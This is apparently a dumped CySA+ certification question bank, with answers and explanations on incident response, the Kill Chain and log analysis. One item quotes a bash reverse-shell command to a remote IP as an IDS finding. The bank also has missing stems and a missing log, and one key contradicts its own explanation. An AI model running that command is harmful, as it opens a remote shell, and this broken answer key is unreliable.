NEW QUESTION # 158
During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.
Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?
- A. Implement proper input validation for any data entry form
- B. Conduct regular red team exercises over the application in production
- C. Ensure that all implemented coding libraries are regularly checked
- D. Use application security scanning as part of the pipeline for the CI/CDflow
Answer: D
Explanation:
Explanation
Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration.
Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.
NEW QUESTION # 159
An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized. Which of the following parts of the Cyber Kill Chain does this describe?
- A. Reconnaissance
- B. Command and control
- C. Weaporization
- D. Delivery
Answer: B
Explanation:
The Command and Control stage of the Cyber Kill Chain describes the communication between the attacker and the compromised system. The attacker may use this channel to send commands, receive data, or update malware. If the analyst discovers unusual outbound connections to an IP that was previously blocked, it may indicate that the attacker has established a command and control channel and bypassed the security controls.

NEW QUESTION # 160
Which of the following most accurately describes the Cyber Kill Chain methodology?
- A. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage
- B. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target
- C. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.
- D. It is used to correlate events to ascertain the TTPs of an attacker.
Answer: A
Explanation:
The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker's objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack

NEW QUESTION # 162
A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?
- A. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. There is an issue with the SSL certificate causinq port 443 to become unavailable for HTTPS access
- D. An error was caused by BGP due to new rules applied over the company's internal routers
Answer: B
Explanation:
An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.
NEW QUESTION # 163
Which of the following explains the importance of a timeline when providing an incident response report?
- A. An incident timeline presents the list of commands executed by an attacker when the system was compromised, in the form of a timetable.
- B. The timeline provides all the information, in the form of a timetable, of the whole incident response process including actions taken.
- C. An incident timeline provides the necessary information to understand the actions taken to mitigate the threat or risk.
- D. The timeline contains a real-time record of an incident and provides information that helps to simplify a postmortem analysis.
Answer: B
Explanation:
An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.
NEW QUESTION # 164
Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?
- A. Automation
- B. Single sign-on
- C. Data enrichment
- D. Command and control
Answer: A
Explanation:
Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting.
Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example.
Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles.
Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method that allows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related to what is described in the example.
NEW QUESTION # 165
Which of the following best describes the goal of a tabletop exercise?
- A. To perform attack exercises to check response effectiveness
- B. To test possible incident scenarios and how to react properly
- C. To check the effectiveness of the business continuity plan
- D. To understand existing threat actors and how to replicate their techniques
Answer: B
Explanation:
Explanation
A tabletop exercise is a type of simulation exercise that involves testing possible incident scenarios and how to react properly, without actually performing any actions or using any resources. A tabletop exercise is usually conducted by a facilitator who presents a realistic scenario to a group of participants, such as a cyberattack, a natural disaster, or a data breach. The participants then discuss and evaluate their roles, responsibilities, plans, procedures, and policies for responding to the incident, as well as the potential impacts and outcomes. A tabletop exercise can help identify strengths and weaknesses in the incident response plan, improve communication and coordination among the stakeholders, raise awareness and preparedness for potential incidents, and provide feedback and recommendations for improvement.
NEW QUESTION # 166
During an incident, a security analyst discovers a large amount of Pll has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee's personal email. Which of the following should the analyst recommend be done first?
- A. Configure a deny rule on the firewall.
- B. Place a legal hold on the employee's mailbox.
- C. Disable the public email access with CASB.
- D. Enable filtering on the web proxy.
Answer: B
Explanation:
Placing a legal hold on the employee's mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user's actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations. The other actions are not as urgent or effective as placing a legal hold on the employee's mailbox, as they do not address the immediate threat of data loss or compromise. Enabling filtering on the web proxy may help to prevent some types of data exfiltration or malicious traffic, but it does not help to recover or preserve the data that has already been emailed externally. Disabling the public email access with CASB (Cloud Access Security Broker) may help to block or monitor the use of public email services by employees, but it does not help to recover or preserve the data that has already been emailed externally. Configuring a deny rule on the firewall may help to block or monitor the network traffic from the employee's laptop, but it does not help to recover or preserve the data that has already been emailed externally.
NEW QUESTION # 167
A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?
- A. SOAR
- B. EDR
- C. CASB
- D. SIEM
Answer: B
Explanation:
EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

- A. Look at attacks against similar industry peers and assess the probability of the same attacks happening.
- B. Discuss potential tools the client can purchase lo reduce the livelihood of an attack.
- C. Meet with the senior management team to determine if funding is available for recommended solutions.
- D. Ask for external scans from industry peers, look at the open ports, and compare Information with the client.
Answer: A
Explanation:
Asking scans from other companies would reveal their vulnerabilities and impossible to get.
NEW QUESTION # 169
During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?
- A. Log in to the affected server and begin analysis of the logs
- B. Restore from the last known-good backup to confirm there was no loss of connectivity
- C. Shut down the affected server immediately
- D. Clone the virtual server for forensic analysis
Answer: D
Explanation:
Explanation
The first action that the analyst should take in this case is to clone the virtual server for forensic analysis.
Cloning the virtual server involves creating an exact copy or image of the server's data and state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the incident without affecting the original server or its operations.
NEW QUESTION # 170
A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?
- A. grep [IP address] packets.pcap
- B. tcpdump -n -r packets.pcap host [IP address]
- C. strings packets.pcap | grep [IP Address]
- D. cat packets.pcap | grep [IP Address]
Answer: B
Explanation:
tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway.
NEW QUESTION # 171
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?
- A. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK" - B. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK" - C. #!/bin/bash
netstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK" - D. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
Answer: C
Explanation:
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or
"OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

NEW QUESTION # 172
A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised. Which of the following steps should the administrator take next?
- A. Inform the internal incident response team.
- B. Follow the company's incident response plan.
- C. Review the lessons learned for the best approach.
- D. Determine when the access started.
Answer: B
Explanation:
An incident response plan is a set of predefined procedures and guidelines that an organization follows when faced with a security breach or attack. An incident response plan helps to ensure that the organization can quickly and effectively contain, analyze, eradicate, and recover from the incident, as well as prevent or minimize the damage and impact to the business operations, reputation, and customers. An incident response plan also defines the roles and responsibilities of the incident response team, the communication channels and protocols, the escalation and reporting procedures, and the tools and resources available for the incident response. By following the company's incident response plan, the administrator can ensure that they are following the best practices and standards for handling a security incident, and that they are coordinating and collaborating with the relevant stakeholders and authorities. Following the company's incident response plan can also help to avoid or reduce any legal, regulatory, or contractual liabilities or penalties that may arise from the incident. The other options are not as effective or appropriate as following the company's incident response plan. Informing the internal incident response team (A) is a good step, but it should be done according to the company's incident response plan, which may specify who, when, how, and what to report. Reviewing the lessons learned for the best approach ?is a good step, but it should be done after the incident has been resolved and closed, not during the active response phase. Determining when the access started (D) is a good step, but it should be done as part of the analysis phase of the incident response plan, not before following the plan.
NEW QUESTION # 173
A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log:
Which of the following is most likely occurring, based on the events in the log?
- A. An adversary is performing a password stuffing attack.
. - B. An adversary is attempting to find the shortest path of compromise.
- C. An adversary is escalating privileges.
- D. An adversary is performing a vulnerability scan.
Answer: D
Explanation:
Based on the events in the log, the most likely occurrence is that an adversary is performing a vulnerability scan. The log shows LDAP read operations and EDR enumerating local groups, which are indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final entry shows SMB connection attempts to multiple hosts from a single host, which could be a sign of network discovery or lateral movement.
